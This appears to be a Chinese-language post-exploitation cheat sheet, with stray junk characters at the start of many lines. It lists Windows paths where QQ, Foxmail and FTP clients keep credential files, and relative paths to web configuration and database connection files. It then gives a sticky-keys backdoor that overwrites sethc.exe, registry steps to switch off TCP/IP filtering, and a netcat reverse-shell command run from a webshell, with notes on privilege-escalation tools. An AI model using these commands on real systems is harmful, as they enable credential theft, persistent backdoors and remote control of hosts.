c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
: `4 d6 ]0 `4 w3 D+ f3 U# m% l* Kc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
2 o; P# u" n- _c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
1 ^8 ?2 X. \$ e8 H9 l* ZC:\Program Files\Foxmal\Foxmail.exe
: D% Q' Q: s, O, d, fC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
* G0 \8 n0 |: f% U: Q2 zC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
* C* x: b5 z- B) TC:\Program Files\LeapFTP\LeapFTP.exe
) D5 c& H: _' U( Z7 \c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
" Q/ ?6 C4 c6 O9 YC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
0 e4 j- J  f$ W* D% P0 ]2 c1 y+ h. Oc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
" l, `4 t7 K( L, v' R2 fc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
. |/ C3 u, \9 ?! @7 D6 m/ i- @
3.网站相对路径:
2 o: z! o6 s9 H/ R
& X8 R3 [$ x& L0 ^4 Y9 q* _/config.php
../../config.php
7 Q+ }! m$ P$ |: j../config.php
../../../config.php
3 R/ V3 A! X+ `# m1 O/config.inc.php
./config.inc.php
../../config.inc.php
1 W6 x3 {+ u; T- }../config.inc.php
! |. G' r$ G; n' _" s$ ]../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
: v& H( c3 ~+ y7 I9 v, w../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
! k9 F/ R& W0 Z5 B- I9 @../../../conn.asp
/config.inc.php
. x# O1 m- y1 m% e./config.inc.php
& M0 r! Q  }, M! J! d, @../../config.inc.php
0 c% \! N$ Z: P../config.inc.php
( [; P: \4 y" e* _+ ]../../../config.inc.php
7 K' @# X  [" X- [) G/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
. v0 A# N" {) n- \% N8 r8 F8 @./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
% i/ f0 E1 R2 i" r./config/conn.php
../../config/conn.php
7 k* m( t# x8 B/ G../config/conn.php
; w/ ]0 V- \1 W/ W../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
; l! J! S* `  q& m7 V/config/config.inc.php
./config/config.inc.php
- ]. U; n/ z& p5 T# T3 Q../../config/config.inc.php
../config/config.inc.php
3 s. j( o0 C7 x# r( J% Y0 z6 C../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
. p" n$ `, k# s! d; |( u5 M/data/config.inc.php
& k; A1 @' R* P/ ~/ ^" f* x( ~% F4 r2 O./data/config.inc.php
../../data/config.inc.php
- ^, h& V3 {% X; s! y../data/config.inc.php
: l( B' s+ _7 ~; i../../../data/config.inc.php
/data/conn.php
) d$ _% y( |9 v9 z$ P5 c' t./data/conn.php
../../data/conn.php
$ W0 H$ [3 n1 _" J, T- f../data/conn.php
../../../data/conn.php
! z4 F$ ~! c! ^4 `0 y' i, k0 [9 j/data/conn.asp
- n! k$ j4 L% [  x8 n% Z./data/conn.asp
& W! h0 \3 Z+ r9 f. q" `../../data/conn.asp
; A, {" p- f1 K../data/conn.asp
. G- w, a; v6 M# F& r/ T../../../data/conn.asp
/data/config.inc.php
$ ?9 y- g/ G. G  L1 H  Z0 u./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
' r$ q! q7 ~$ A2 S+ I' R../../include/config.php
) c1 b4 J7 }# A' ~% h../include/config.php
../../../include/config.php
/ f* ?- o5 c, }+ Y% d/include/config.inc.php
/ r. R% B: a! C  ?& L./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
0 r0 D" n/ F$ A/ X# Z0 [# |../../../include/config.inc.php
/include/conn.php
8 q& W' F. d+ ~( q. L./include/conn.php
+ G/ e  k: N; F  v* L- n../../include/conn.php
../include/conn.php
../../../include/conn.php
2 n( M8 H* D# L: b/ k6 p/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
2 ~% ]1 Q+ D$ O8 q/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
5 p) L  E8 n0 S) d../include/config.inc.php
/ E: M, ~  Z+ z../../../include/config.inc.php
/inc/config.php
* l, X5 g6 L0 i) X% J& }% H../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
" p" L& f1 m" a, t6 ]% t../../../inc/config.inc.php
9 r. ]+ R" x  i/ O1 t. Q/inc/conn.php
* D4 g- L" R& O: k! k+ P2 ]: {* c./inc/conn.php
, \: @, s/ [* j$ O2 e../../inc/conn.php
+ D& }/ ?0 B' K# {9 a4 @2 _../inc/conn.php
- Q1 t  y, ?2 u& |8 Q, _5 u../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
, f5 G0 }9 M4 H' D5 z8 ~2 Y../../../inc/conn.asp
/inc/config.inc.php
* w8 w' k  g7 v0 i./inc/config.inc.php
3 j* @6 {9 g; M$ {../../inc/config.inc.php
../inc/config.inc.php
& c5 `5 k: X7 t" {7 v../../../inc/config.inc.php
/index.php
./index.php
../../index.php
% W3 a7 U7 H. `  c: N! t2 Y" t$ `../index.php
- b" f1 A% |6 L( |$ n0 i../../../index.php
/index.asp
./index.asp
) |. s2 w. h/ `% h! h../../index.asp
& T0 e  [" n% `3 k. N" R../index.asp
../../../index.asp
1 Y& y  q# M3 h; T0 h4 E替换SHIFT后门
. D: O" I, t3 S) t1 e# D( a9 p　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

# G. {$ n8 ]1 o5 E  o& Y　　del c:\windows\system32\sethc.exe
! Y2 g5 {1 s5 y4 T1 }5 c9 n
2 T1 {' q1 @* p+ [! o' P　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
5 {% ~- I. `, D( N  t
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
1 K# _2 H, f: q3 F/ {
- _4 T5 b; a, S: }4 D' A( X　　attrib c:\windows\system32\sethc.exe +h +r +s

2 F( b8 x; Y& W0 {6 w9 A: |, W7 Q% b　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
8 L9 C! i4 p, ~/ Z7 p2 j9 DHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
7 K1 z1 |0 _& U+ w3 j
2 w" n& o" x" j. p分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) P3 L5 ?. @" U. C/ q# Z命令来导出注册表项
+ q: b" H7 Q% t
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
8 }5 e# F$ j5 ~# z+ M, A. v导入注册表即可

9 Y! B4 z9 x, z0 H$ `7 Pwebshell提权小技巧
cmd路径:
: F$ g, }5 e1 e0 S" mc:\windows\temp\cmd.exe
nc也在同目录下
4 F* [& {6 F$ j% r例如反弹cmdshell：
# }3 ^) h8 h8 _: M) ~& T" z"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
7 s; {& k: @6 o通常都不会成功。
7 Z/ Z" ^. {5 V/ z0 |9 b. k9 M
7 u9 y7 M  e7 v* n. z而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
& W. v/ D' B$ F8 K/ d命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
  `$ O4 e! f1 [1 _# c却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功